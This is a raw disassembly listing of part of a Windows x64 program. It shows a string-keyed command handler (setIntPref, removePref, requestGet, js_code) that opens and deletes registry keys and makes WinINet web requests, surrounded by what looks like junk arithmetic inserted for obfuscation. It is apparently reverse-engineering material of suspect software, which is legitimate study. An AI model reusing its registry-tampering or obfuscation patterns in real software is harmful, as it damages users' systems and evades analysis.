lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b864
mov rdx, qword [rsp + 0x580]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x218]
test rbx, rbx
je 0x14006ba0f
lea rdx, [0x1401616d4]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xa78], rax
lea rdx, [0x1401616e0]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xfa8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xa88], rdx
lea rcx, [rsp + 0x358]
call fcn.140003760
nop
lea rdx, [0x140161738]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xd78], rax
lea rdx, [0x140161740]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xa98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf50], rdx
lea rcx, [rsp + 0x2c8]
call fcn.140003760
nop
lea rdx, [0x140161748]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xaa8], rax
lea rdx, [0x140161750]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xd88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xab8], rdx
lea rcx, [rsp + 0x398]
call fcn.140003760
nop
mov r9, rbx
lea r8, [rsp + 0x358]
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x398]
call fcn.14004dc00
mov byte [rsp + 0x51], al
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x590], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b9a6
mov rdx, qword [rsp + 0x590]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2c8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006b9d8
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x358]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bbd1
mov rdx, qword [rsp + 0x5b0]
jmp 0x14006bbc8
mov r14d, 1
lea rax, [rsp + 0x5c0]
mov qword [rsp + 0xfb0], rax
lea rdx, [0x1401616e8]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xac8], rax
lea rdx, [0x1401616f0]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xd98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xad8], rdx
lea rcx, [rsp + 0x2e8]
call fcn.140003760
nop
lea rdx, [0x1401616f8]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf60], rax
lea rdx, [0x140161700]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xae8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xda8], rdx
lea rcx, [rsp + 0x3a0]
call fcn.140003760
nop
lea rdx, [0x1401616c0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xaf8], rax
lea rdx, [0x1401616c8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xfb8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb08], rdx
lea rcx, [rsp + 0x2d8]
call fcn.140003760
nop
lea rdx, [0x14015ec0c]
lea rcx, [rsp + 0x5c0]
call fcn.1400024a0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d1d58]
lea r8, [rsp + 0x2e8]
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x2d8]
call fcn.14004d6c0
mov byte [rsp + 0x51], al
mov rcx, qword [rsp + 0x2d8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bb6e
mov rdx, qword [rsp + 0x5d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bba0
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x2e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bbd1
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r15, r15
je 0x14006bbf6
movzx eax, byte [rsp + 0x51]
neg al
sbb cx, cx
mov word [r15 + 8], cx
mov esi, 0xb
mov word [r15], si
jmp 0x14006bbf6
mov r14d, 1
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 4
jne 0x14006e65f
mov dword [rsp + 0x200], r14d
cmp r14d, r8d
jge 0x14006bc4f
mov eax, r8d
cdq
idiv r14d
inc r14d
add r14d, edx
mov dword [rsp + 0x200], r14d
jmp 0x14006bc33
mov dword [0x1401d6d80], r14d
jmp 0x14006e65f
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006c2b2
lea rdx, [0x140161720]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xdb8], rax
lea rdx, [0x140161728]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb18], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
lea rdx, [0x140161730]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf70], rax
lea rdx, [0x140161790]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb28], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
lea rdx, [0x14016179c]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xdc8], rax
lea rdx, [0x1401617a4]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb38], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x14006bd2c
cmp cl, 5
jne 0x14006e65f
mov byte [rsp + 0x53], 0
mov qword [rsp + 0x228], rdi
lea rdx, [0x1401617ac]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xfe0], rax
lea rdx, [0x14016175c]
mov rcx, rax
call fcn.14003ccd0
test al, al
je 0x14006c111
mov ecx, dword [0x1401d6d80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 0xe
jne 0x14006be2b
mov rbx, rdi
mov qword [rsp + 0x600], rbx
cmp rbx, 0x50
jae 0x14006bdcf
call fcn.1400d57c0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
movsd qword [rsp + rbx*8 + 0x3000], xmm0
inc rbx
jmp 0x14006bda6
mov edx, edi
mov dword [rsp + 0x178], edx
cmp edx, 0x50
jge 0x14006be2b
mov eax, 0x4f
mov dword [rsp + 0x158], eax
cmp eax, edx
jle 0x14006be27
movsxd rcx, eax
movsd xmm0, qword [rsp + rcx*8 + 0x3000]
movsd xmm1, qword [rsp + rcx*8 + 0x2ff8]
comisd xmm0, xmm1
jbe 0x14006be23
movsd qword [rsp + 0xb48], xmm0
movsd qword [rsp + rcx*8 + 0x3000], xmm1
movsd qword [rsp + rcx*8 + 0x2ff8], xmm0
dec eax
jmp 0x14006bde2
inc edx
jmp 0x14006bdd1
lea rdx, [0x140161764]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xdd8], rax
lea rdx, [0x14016176c]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf80], rdx
lea rcx, [rsp + 0x368]
call fcn.140003760
nop
mov r8d, dword [0x1401d6d80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 3
jne 0x14006bf42
mov dword [rsp + 0x180], edi
nop
test r8d, r8d
je 0x14006bf42
inc edi
mov dword [rsp + 0x180], edi
mov eax, r8d
and eax, 0x80000001
jge 0x14006bed3
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14006beea
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
mov r8d, eax
mov dword [0x1401d6d80], eax
jmp 0x14006bef9
lea r8d, [r8*2 + 1]
mov dword [0x1401d6d80], r8d
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov ecx, r8d
sub ecx, eax
je 0x14006bf1d
sub ecx, 2
je 0x14006bf28
dec ecx
je 0x14006bf32
jmp 0x14006bf3d
add r8d, 2
mov dword [0x1401d6d80], r8d
inc r8d
mov dword [0x1401d6d80], r8d
add r8d, 2
mov dword [0x1401d6d80], r8d
jmp 0x14006beb0
mov rbx, qword [r13 + 0x50]
mov qword [rsp + 0x228], rbx
lea rdx, [0x140161778]
lea rcx, [rsp + 0x368]
call fcn.140003b80
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x228], rbx
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x610], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006bfa8
mov rdx, qword [rsp + 0x610]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x228]
test rbx, rbx
je 0x14006c111
lea rdx, [0x1401617d4]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xb68], rax
lea rdx, [0x140161830]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xde8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb78], rdx
lea rcx, [rsp + 0x3a8]
call fcn.140003760
nop
lea rdx, [0x140161838]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xfd0], rax
lea rdx, [0x140161840]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb88], rax
mov rcx, rax
call fcn.14003c320
mov dword [rsp + 0x188], eax
lea rdx, [0x140161848]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xdf8], rax
lea rdx, [0x1401617f8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xb98], rax
mov rdx, qword [rax]
mov qword [rsp + 0xf90], rdx
lea rcx, [rsp + 0x2f8]
call fcn.140003760
nop
mov r9, rbx
lea r8, [rsp + 0x3a8]
lea rdx, [rsp + 0x188]
lea rcx, [rsp + 0x2f8]
call fcn.14004de10
mov byte [rsp + 0x53], al
mov rcx, qword [rsp + 0x2f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c0e0
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c28c
mov rdx, qword [rsp + 0x630]
jmp 0x14006c283
lea rax, [rsp + 0x640]
mov qword [rsp + 0xba8], rax
lea rdx, [0x1401617dc]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xe08], rax
lea rdx, [0x1401617e8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xbb8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfa0], rdx
lea rcx, [rsp + 0x378]
call fcn.140003760
nop
lea rdx, [0x1401617bc]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xbc8], rax
lea rdx, [0x1401617c8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xe18], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbd8], rdx
lea rcx, [rsp + 0x308]
call fcn.140003760
nop
lea rdx, [0x14015ec3c]
lea rcx, [rsp + 0x640]
call fcn.1400024a0
mov rbx, rax
lea rdx, [0x1401617f0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf20], rax
lea rdx, [0x1401617b4]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xbe8], rax
mov rcx, rax
call fcn.14003c320
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401d1d58]
lea r8, [rsp + 0x378]
lea rcx, [rsp + 0x308]
call fcn.14004ec00
mov byte [rsp + 0x53], al
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c25b
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x378]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c28c
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r15, r15
je 0x14006e65f
movzx eax, byte [rsp + 0x53]
neg al
sbb cx, cx
mov word [r15 + 8], cx
mov esi, 0xb
mov word [r15], si
jmp 0x14006e65f
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006c862
lea rdx, [0x140161820]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xe28], rax
lea rdx, [0x140161828]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xbf8], rax
cmp byte [rax + 8], 4
jne 0x14006e65f
lea rdx, [0x140161880]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf28], rax
lea rdx, [0x140161888]
mov rcx, rax
call fcn.14003ccd0
lea rcx, [rsp + 0x58]
test al, al
je 0x14006c658
lea rdx, [0x140161890]
call fcn.14003c990
mov qword [rsp + 0xc08], rax
lea rdx, [0x140161898]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xe38], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc18], rdx
lea rcx, [rsp + 0x248]
call fcn.140003760
nop
mov rbx, qword [r13 + 0x50]
lea rdx, [0x140161850]
lea rcx, [rsp + 0x248]
call fcn.140003b80
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xf38], rbx
lea rdx, [0x140161868]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xc28], rax
lea rdx, [0x140161870]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xe48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc38], rdx
lea rax, [rsp + 0x238]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xe4], eax
test eax, eax
je 0x14006c4ef
test r15, r15
je 0x14006c426
mov dword [r15 + 8], eax
mov eax, 0x16
mov word [r15], ax
mov rcx, qword [rsp + 0x248]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c458
mov rdx, qword [rsp + 0x670]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x680], rcx
mov eax, r12d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006c487
mov rdx, qword [rsp + 0x680]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006c49f
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
lea rdx, [0x140161878]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xf48], rax
lea rdx, [0x1401618c0]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xc48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe58], rdx
lea rcx, [rsp + 0x318]
call fcn.140003760
nop
mov rdx, qword [rsp + 0x318]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x678], eax
mov rcx, qword [rsp + 0x238]
test eax, eax
jne 0x14006c582
lea rdx, [0x14015ec8c]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0xe4], eax
test eax, eax
je 0x14006c5a7
test r15, r15
je 0x14006c5ba
mov dword [r15 + 8], eax
mov eax, 0x16
mov word [r15], ax
jmp 0x14006c5ba
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0xe4], eax
test eax, eax
je 0x14006c5a7
test r15, r15
je 0x14006c5ba
mov dword [r15 + 8], eax
mov eax, 0x16
mov word [r15], ax
jmp 0x14006c5ba
test r15, r15
je 0x14006c5ba
mov word [r15 + 8], r12w
mov esi, 0xb
mov word [r15], si
mov rcx, qword [rsp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x318]
call fcn.140002540
nop
lea rcx, [rsp + 0x248]
call fcn.140002540
nop
lea rcx, [rsp + 0x48]
call fcn.140002540
nop
cmp qword [rsp + 0x2dc8], 0x10
jb 0x14006c608
mov rcx, qword [rsp + 0x2db0]
call fcn.1400d4de0
mov qword [rsp + 0x2dc8], 0xf
mov qword [rsp + 0x2dc0], rdi
mov byte [rsp + 0x2db0], 0
lea rcx, [rsp + 0x70]
call fcn.140002540
nop
lea rcx, [rsp + 0x2f00]
call fcn.140019ce0
nop
lea rcx, [rsp + 0x58]
call fcn.14003bf50
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x14006e7ae
lea rdx, [0x1401618cc]
call fcn.14003c990
mov qword [rsp + 0xc58], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xf58], rax
cmp byte [rax + 8], 4
jne 0x14006c781
lea rdx, [0x1401618a0]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0xc68], rax
lea rdx, [0x1401618a8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0xe78], rax
mov rdx, qword [rax]
mov qword [rsp + 0x888], rdx
lea rcx, [rsp + 0x388]
call fcn.140003760
nop
lea rdx, [0x14015ec5c]
lea rcx, [rsp + 0x328]
call fcn.1400024a0
nop
lea rdx, [0x1401618b4]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x890], rax
lea rdx, [0x140161938]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x8a0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8b0], rdx
lea rcx, [rsp + 0x3b0]
call fcn.140003760
nop
lea r8, [rsp + 0x388]
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x3b0]
call fcn.14004cbf0
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x3b0]
call fcn.140002540
nop
lea rcx, [rsp + 0x328]
call fcn.140002540
nop
lea rcx, [rsp + 0x388]
jmp 0x14006c83c
lea rdx, [0x14015ed14]
lea rcx, [rsp + 0x2a0]
call fcn.1400024a0
nop
lea rdx, [0x14015ed4c]
lea rcx, [rsp + 0x3e0]
call fcn.1400024a0
nop
lea rdx, [0x140161940]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x8c0], rax
lea rdx, [0x1401618e8]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x8d0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8e0], rdx
lea rcx, [rsp + 0x338]
call fcn.140003760
nop
lea r8, [rsp + 0x2a0]
lea rdx, [rsp + 0x3e0]
lea rcx, [rsp + 0x338]
call fcn.14004cbf0
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x338]
call fcn.140002540
nop
lea rcx, [rsp + 0x3e0]
call fcn.140002540
nop
lea rcx, [rsp + 0x2a0]
call fcn.140002540
test r15, r15
je 0x14006e65f
neg bl
sbb ax, ax
mov word [r15 + 8], ax
mov esi, 0xb
mov word [r15], si
jmp 0x14006e65f
lea rdx, [0x1401618f0]
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
je 0x14006d98e
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
je 0x14006d98e
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.140003b80
test eax, eax
jne 0x14006d103
mov ecx, dword [0x1401d6d80]
imul ecx, ecx
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 8
jne 0x14006c97e
mov word [rsp + 0x4760], di
xor edx, edx
mov r8d, 0x102c6
lea rcx, [rsp + 0x4762]
call fcn.1400da240
mov dword [0x1401d6d80], edi
mov r9d, edi
mov dword [rsp + 0x274], edi
cmp r9d, 0xb6
jge 0x14006c970
mov r8d, edi
mov dword [rsp + 0x294], edi
cmp r8d, 0xb6
jge 0x14006c963
test r9d, r9d
je 0x14006c956
test r8d, r8d
je 0x14006c956
movsxd rdx, r9d
imul rdx, rdx, 0xb6
movsxd rax, r8d
add rdx, rax
movsx ecx, word [rsp + rdx*2 + 0x45f4]
movsx eax, word [rsp + rdx*2 + 0x475e]
inc ecx
add ecx, eax
mov word [rsp + rdx*2 + 0x4760], cx
inc r8d
mov dword [rsp + 0x294], r8d
jmp 0x14006c917
inc r9d
mov dword [rsp + 0x274], r9d
jmp 0x14006c904
movsx eax, word [rsp + 0x14a26]
mov dword [0x1401d6d80], eax
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r14d, 1
mov edx, r14d
lea rcx, [0x14015f134]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
mov qword [rsp + 0x8f0], rax
lea rdx, [0x140161a00]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x900], rax
lea rdx, [0x14015eda4]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x910], rax
cmp byte [rax + 8], 4
jne 0x14006d062
test r13, r13
je 0x14006d062
lea rdx, [0x140161a08]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x920], rax
lea rdx, [0x14015edcc]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x930], rax
lea rdx, [rsp + 0x2e60]
mov rcx, rax
call fcn.14003c090
mov qword [rsp + 0x940], rax
cmp qword [rax + 0x18], 0x10
jb 0x14006ca3e
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140003760
nop
cmp qword [rsp + 0x2e78], 0x10
jb 0x14006ca67
mov rcx, qword [rsp + 0x2e60]
call fcn.1400d4de0
mov qword [rsp + 0x2e78], 0xf
mov qword [rsp + 0x2e70], rdi
mov byte [rsp + 0x2e60], 0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0x90]
call fcn.140010010
mov ebx, eax
mov dword [rsp + 0x27c], eax
test eax, eax
jle 0x14006cb5f
add ebx, 6
mov dword [rsp + 0x27c], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0x90]
call fcn.1400d7948
mov qword [rsp + 0x950], rax
test rax, rax
jne 0x14006cad9
mov eax, r12d
jmp 0x14006cae4
sub rax, qword [rsp + 0x90]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x90]
call fcn.140010060
mov qword [rsp + 0x960], rax
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.1400025c0
nop
lea rcx, [rsp + 0x690]
call fcn.140002540
lea rdx, str.js_code
lea rcx, [rsp + 0x2b0]
call fcn.140003760
nop
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x90]
call fcn.14001e000
nop
lea rcx, [rsp + 0x2b0]
call fcn.140002540
xor edx, edx
lea rcx, [rsp + 0x3f0]
call fcn.14003bbc0
nop
mov r10d, dword [0x1401d6d80]
mov ecx, r10d
imul ecx, r10d
imul ecx, r10d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
sub ecx, edx
cmp ecx, 5
jne 0x14006cc2a
mov ebx, edi
mov dword [rsp + 0x17c], ebx
cmp ebx, 2
jge 0x14006cc2a
mov r9d, edi
mov dword [rsp + 0x260], edi
nop word [rax + rax]
cmp r9d, 0x12
jge 0x14006cc23
lea esi, [r9 + 1]
lea ecx, [rbx + 1]
mov eax, r10d
cdq
idiv ecx
mov r8d, edx
mov ecx, r10d
sub ecx, ebx
imul r8d, ecx
mov eax, r10d
cdq
idiv esi
add r8d, eax
sub r8d, r9d
movsxd rax, ebx
lea rcx, [rax + rax*8]
movsxd rax, r9d
lea rcx, [rax + rcx*2]
mov dword [rsp + rcx*4 + 0x3280], r8d
mov edx, r8d
lea rcx, [0x14015f3bc]
call fcn.1400d5714
mov r9d, esi
mov dword [rsp + 0x260], esi
mov r10d, dword [0x1401d6d80]
jmp 0x14006cbc0
inc ebx
jmp 0x14006cba4
lea rdx, [0x14015f154]
lea rcx, [rsp + 0xe60]
call fcn.14003bca0
nop
lea rdx, [0x14015f40c]
lea rcx, [rsp + 0x3f0]
call fcn.14003c990
mov rcx, rax
lea rdx, [rsp + 0xe60]
call fcn.14003c000
nop
lea rcx, [rsp + 0xe60]
call fcn.14003bf50
lea rdx, [0x140161a28]
lea rcx, [rsp + 0x58]
call fcn.14003c990
mov qword [rsp + 0x970], rax
lea rdx, [0x14015f3ac]
mov rcx, rax
call fcn.14003c990
mov qword [rsp + 0x980], rax
lea rdx, [rsp + 0x2fe0]
mov rcx, rax
call fcn.14003c090
nop
mov rdx, rax
lea rcx, [rsp + 0xe80]
call fcn.14003bd30
nop
lea rdx, [0x14015f394]
lea rcx, [rsp + 0x3f0]
call fcn.14003c990
mov rcx, rax
lea rdx, [rsp + 0xe80]
call fcn.14003c000
nop
lea rcx, [rsp + 0xe80]
call fcn.14003bf50
nop
lea rcx, [rsp + 0x2fe0]
call fcn.1400013b0
lea rdx, [0x14015f3cc]
lea rcx, [rsp + 0xea0]
call fcn.14003bca0
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x3f0]
call fcn.14003c990
mov rcx, rax
lea rdx, [rsp + 0xea0]
call fcn.14003cca0
nop
lea rcx, [rsp + 0xea0]
call fcn.14003bf50
call fcn.140068af0
test al, al
jne 0x14006cde6
mov r8d, edi
mov dword [rsp + 0x210], edi
mov ecx, dword [0x1401d6d80]
test ecx, ecx
je 0x14006cde6
inc r8d
mov dword [rsp + 0x210], r8d
mov eax, ecx
and eax, 0x80000001
jge 0x14006cd86
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x14006cd9b
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
mov ecx, eax
mov dword [0x1401d6d80], eax
jmp 0x14006cda8
lea ecx, [rcx*2 + 1]
mov dword [0x1401d6d80], ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
je 0x14006cdca
sub edx, 2
je 0x14006cdd3
dec edx
je 0x14006cddb
jmp 0x14006cde4
add ecx, 2
mov dword [0x1401d6d80], ecx
inc ecx
mov dword [0x1401d6d80], ecx
add ecx, 2
mov dword [0x1401d6d80], ecx
jmp 0x14006cd67
lea rdx, [0x14015f3dc]
lea rcx, [rsp + 0xec0]
call fcn.14003bca0
nop
lea rdx, str.acceptTypes
